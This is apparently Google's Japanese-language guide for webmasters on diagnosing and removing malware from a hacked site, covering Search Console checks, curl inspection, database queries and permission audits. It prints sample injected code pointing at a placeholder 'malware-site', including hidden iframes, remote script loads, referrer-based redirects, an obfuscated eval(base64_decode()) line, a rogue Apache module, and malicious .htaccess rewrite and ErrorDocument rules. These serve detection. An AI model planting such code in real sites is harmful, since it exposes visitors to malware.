マルウェアとは、パソコンやモバイル デバイス、そこで実行されているソフトウェア、またはそのユーザーに危害を与えるように設計されたソフトウェアまたはモバイルアプリのことです。マルウェアについて詳しくは、マルウェアや望ましくないソフトウェアをご覧ください。
サイトにマルウェアが含まれている場合、通常は、ユーザーがサイトにアクセスしたときに検索結果やブラウザに表示されるインタースティシャル ページに「このサイトはパソコンに損害を与える可能性があります」という警告が表示されます。次に例を示します。
次のものが必要です。
- サイトのサーバー(ウェブ、データベース、ファイル)に対するシェル管理者またはターミナル管理者のアクセス。
- シェルコマンドまたはターミナル コマンドに関する知識。
- データベースに対して SQL クエリを実行する能力。
準備
- Search Console に登録し、記載されているとおりにハッキングされたサイトの所有権を確認します。Search Console では影響を受けるページのサンプルが提供されるため、マルウェアによるハッキングの問題を簡単に見つけて修正できます。また、さまざまな種類のマルウェアやその他のハッキングの影響を受けているサイトが検出されると、警告が表示されます。
Google セーフ ブラウジングの診断ページを表示して、サイトがユーザーにとって有害である可能性についての公開情報を確認してください。ページまたはサイトのリスティングのステータスは、次のような URL で確認できます。
https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***
例:https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com
<<page_or_site>>
には、特定のページの URL(http://example.com/badpage
)またはサイト全体(example.com)を指定できます。ブラウザを使用してサイトのページを表示しないようにします。マルウェアは多くの場合ブラウザの脆弱性を悪用して拡散するため、マルウェアに感染したページをブラウザで開くと、パソコンに損害を与える可能性があります。診断手順に、ブラウザでこのページに直接アクセスするよう記述されている場合を除き、cURL または Wget を使用して HTTP リクエストを実行します(ページの取得など)。
無料で入手できるこれらのツールは、リダイレクトの診断に役立ち、リファラーまたはユーザー エージェントの情報を含めることができる柔軟性を備えています。特定のリファラーまたはユーザー エージェントを含めると、ハッカーの手口を模倣しやすくなります。ハッカーは、特定のユーザー エージェントやリファラーを使用するユーザーにのみ悪意のあるコンテンツを提供し、より「実在の人物」を標的にして、サイト所有者やマルウェア スキャナによる検出を回避できるためです。
`curl -v --referer "http://www.google.com" <your-url>`
ユーザー エージェントと参照 URL の両方を指定する例を次に示します。
`curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html`
マルウェアの中には、ユーザーが Google 検索の検索結果からアクセスした場合にのみアクティブになるものもあるため、--referer "https://www.google.com"
の有無にかかわらずページを取得することをおすすめします。
このステップで調べたことを記録するドキュメントを作成します。最終的にこのドキュメントには、破損した各ファイルの名前と場所(少なくとも)と感染状況が記載されます。このドキュメントは、サイトのクリーンアップとメンテナンスの基礎となります。
このページの前半の動画で、マルウェアの仕組みと、マルウェアの調査中に安全を確保する方法をご確認ください。
診断
サイトに影響を及ぼしているマルウェアを特定する:
- Search Console でサイトの [セキュリティの問題] レポートを開きます。マルウェアに関する警告の説明を開くと、影響を受けるページの例のリストが表示されます。 なお、このリストはすべてを網羅しているわけではありません。サイトのすべてのタイプのマルウェアに対応したサンプルページが表示されるとは限りません。
- サンプルページで、次の種類のマルウェアがないかテストしてください。
サーバー設定のマルウェア(不要なリダイレクト)
ハッカーがサイトを侵害し、サーバーの構成ファイルを改変して、正常なサイトからマルウェア攻撃サイトに訪問者をリダイレクトしている。通常、サイト管理者はサーバーの構成ファイルを使用して、ウェブサイトの特定のページやディレクトリの URL リダイレクトを指定できます。たとえば、Apache サーバーの場合、これは .htaccess
ファイルと httpd.conf
ファイルです。
診断
[セキュリティの問題] レポートに表示される URL の例にアクセスします。「サーバー設定」に感染したページからのレスポンスには、次のヘッダーが含まれる場合があります。
< HTTP/1.1 301 Moved Permanently
< Date: Sun, 24 Feb 2013 21:06:45 GMT
< Server: Apache
< Location: http://<<strong>_malware-attack-site_</strong>>/index.html
< Content-Length: 253
影響を受けるファイルの特定
シェルまたはターミナル アクセスでサーバーにログインし(必要に応じてサイトをオフラインにできます)、関連するサーバー構成ファイルを確認します。サイト上に、ハッキングされたサーバー設定ファイルが複数存在している可能性があります。不明なサイトへのリダイレクトなどの望ましくないディレクティブがこれらのファイルにないかどうかを確認します。たとえば、.htaccess
ファイルでは、次のようなリダイレクトが行われます。
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*
**RewriteRule ^third-page.html($|/) http://<<em><strong>_malware-site_</strong></em>>/index.html** [R=301]
SQL インジェクション
ハッカーがサイトのデータベースを不正使用した場合。たとえば、ハッカーがデータベース テーブルのすべてのレコードに悪意のあるコードをプログラムで挿入し、データベースからの情報を必要とするページをサーバーが読み込むと、悪意のあるコードがページのコンテンツに埋め込まれ、サイト訪問者に害を及ぼす可能性があります。
診断
- コマンドラインで影響を受ける URL に対してクエリを実行し、「iframe」や「eval」などの SQL 攻撃ワードのレスポンスを調べます。
データベース サーバーにログインするか、phpMyAdmin などのツールでデータベースを表示します。Wget または cURL を使用した場合は、Wget または cURL を通じてページのソースコードで見つかった損傷を、実際のデータベース エントリと関連付けてみてください。たとえば、危険な iframe がページに含まれていることに気付いた場合は、SQL クエリを実行して iframe のコードを検索できます。次に例を示します。
SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%';
また、サーバー上のデータベース ログファイルとエラーファイルで、通常のユーザーには異常と思われる予期しない SQL コマンドやエラーなど、異常なアクティビティがないかどうかも確認できます。
問題を解決する
感染したデータベース レコードを更新するか、最後に確認されたデータベース バックアップを復元します。
コード インジェクション
サイトのページが改変され、マルウェアの攻撃サイトへ誘導する iframe など、悪意のあるコードが含まれている。
診断
cURL または wGet を使用して、[セキュリティの問題] レポートに表示される URL の例をいくつか調べ、不審なコードを調べます。挿入されたコードには多くのタイプがあり、見つけるのが困難な場合があります。iframe コードを見つけるには、「iframe」のような単語を検索すると役に立つ場合があります。他にも「script」、「eval」、「unescape」がキーワードとして役立ちます。たとえば、Unix ベースのシステムですべてのファイルで「iframe」を検索する場合は、次のようにします。
$grep -irn "iframe" ./ | less</pre>
ここでは、注意すべき一般的なマルウェアのパターンをいくつか紹介します。
悪意のあるサイトを読み込む iframe:
<iframe frameborder="0" height="0" src="http://<<strong><em>_malware-site_</em></strong>>/path/file"
style="display:none" width="0"></iframe>
攻撃サイトからスクリプトを呼び出して実行する JavaScript などのスクリプト言語:
<script type='text/javascript' src='http://<<em><strong>_malware-site_</strong></em>>/js/x55.js'></script>
不正サイトにブラウザをリダイレクトするスクリプト:
<script>
if (document.referrer.match(/google\.com/)) {
window.location("http://<<em><strong>_malware-site_</strong></em>>/");
}
</script>
検知を回避するために難読化された悪意のあるコード:
eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf"));
無害なスクリプトに有害なコードをランダムに書き込むように設計された共有オブジェクト ファイル。
#httpd.conf modified by the hacker
LoadModule harmful_module modules/mod_harmful.so
AddModule mod_harmful.c
悪意のあるエラー テンプレート
404 ファイルが見つかりませんなどのエラー メッセージに使用されるテンプレートは、マルウェアを配布するように構成されています。これにより、攻撃者はサイトに存在しない URL に対して攻撃を行うことができます。
診断
サイト内に存在しないページや別のタイプのエラーをスローするページをリクエストし、レスポンスが別のサイトからのものか、あるいはマルウェアが含まれていないかを確認します。
問題を解決する
ウェブサーバーにログインし、サーバー構成ファイルでエラーページ ディレクティブを検索します。たとえば、Apache ウェブサーバーのエラー テンプレートは .htaccess
ファイルで宣言できます。以下に、悪意のあるサイトから 404 エラーページを取得する .htaccess
ファイル エントリの例を示します。
ErrorDocument 404 http://<<span class="red-text"><em><strong>_malware-site_</strong></em></span>>/index.html
サイトをクリーンアップする準備ができたら、.htaccess
ファイルを既存の正常なバックアップに置き換えるか、既存の .htaccess
ファイルから不要な ErrorDocument ディレクティブを削除します。実際のエラーファイルがサイトに存在する場合は、必ずクリーンアップしてください。最後に、ウェブサーバーを再起動して、すべての変更を有効にします。
不正使用されているサイトまたは悪意のあるサイトからリソースを読み込んでいます {compromised-resources}
悪意のあるコンテンツを含むことがわかっているサイトのコンテンツまたはリソースをサイトで使用している。JavaScript ファイル、画像などのファイルが該当します。 このため、別のサイトから読み込まれたマルウェアについて警告が発せられます。
診断
[セキュリティの問題] レポートに表示されている URL の例にアクセスします。
問題を解決する
- Search Console の [セキュリティの問題] レポートに記載されている URL のサンプルを参照して、問題を確認します。ブラウザに警告が表示されます。
- ブラウザの警告で、問題のコンテンツのドメインが示されます。 ブラウザの警告に記載されているフラグ付きのサイトへの参照をすべて削除します。 フラグが設定されたサイトのコンテンツが無断で表示された場合、問題はより深刻です。サイトは侵害されている可能性が高いため、他のハッキングや脆弱性がないか継続的に調査する必要があります。
- 正当なサイトのコンテンツを意図的に挿入し、報告されたサイトのクリーンアップ後にコンテンツを再度追加したい場合は、そのサイトの Google セーフ ブラウジング診断ページ(
http://www.google.com/safebrowsing/diagnostic?site=www.example.com
){:.external} を使用して、報告されたサイトのステータスをモニタリングできます。通常、正当なサイトの所有者は、すぐにサイトをクリーンアップします。
追加の調査
次に、システム上に悪意のあるファイルや変更がないかチェックします。ハッカーは、既存のページやデータベース レコードを変更したり、まったく新しいスパムページを作成したり、クリーンなページにスパムを表示する関数を作成したり、ハッカーがサイトに再侵入できるようにする「バックドア」を残したり、削除した悪意のあるコードを再挿入したりする可能性があります。
サイトがオンラインの場合は、調査のためにサイトをオフラインにすることを検討してください。
サイトに正常なバックアップがある場合は、バックアップ後に作成または変更されたファイルを特定し、調査します。Unix ベースのシステムでは、次のようなコマンドを使用して新しいファイルを検索できます。
diff -qr <current-directory> <backup-directory>
次に例を示します。
diff -qr www/ backups/full-backup-20120124/
次もご活用ください。
md5sum <current-page> <backup-page>
次に例を示します。
md5sum www/page.html backups/full-backup-20120124/page.html
失敗したログイン試行、コマンド履歴(特に root 権限)、不明なユーザー アカウントの作成など、不審なアクティビティ、サーバーログ、アクセスログ、エラーログを確認します。ハッカーが自分の目的でこれらのログを改ざんしている可能性があるので注意してください。脆弱性を特定するの動画に、いくつかの例が示されています。
構成ファイルのリダイレクトを確認します。通常、構成ファイルの名前は .htaccess
と httpd.conf
です。ハッカーはよく、ユーザー エージェント、時間帯、参照 URL に基づいて条件付きリダイレクトを作成します。構成ファイルを更新する必要がある場合、変更を有効にするためにサーバーの再起動が必要になることがあります。
過度に緩いフォルダとファイルの権限を確認します。緩やかな権限がサイト所有者によって検出されなかった場合、ハッカーはサイトに再度アクセスできるため、ハッカーは権限を改ざんします。644 (rw-r--r--)
より大きいファイルと 755 (rwxr-xr-x)
より大きいフォルダは、セキュリティの問題を引き起こす可能性があります。緩く設定した権限が本当に必要かどうかを確認します。Unix ベースのシステムでは、次を試します。
find <your-dir> -type d -not -perm 755 -exec ls -ld {} \;
および
find <your-dir> -type f -not -perm 644 -exec ls -la {} \;
データベースがある場合は、phpMyAdmin などのツールを使ってレコードごとに調べます。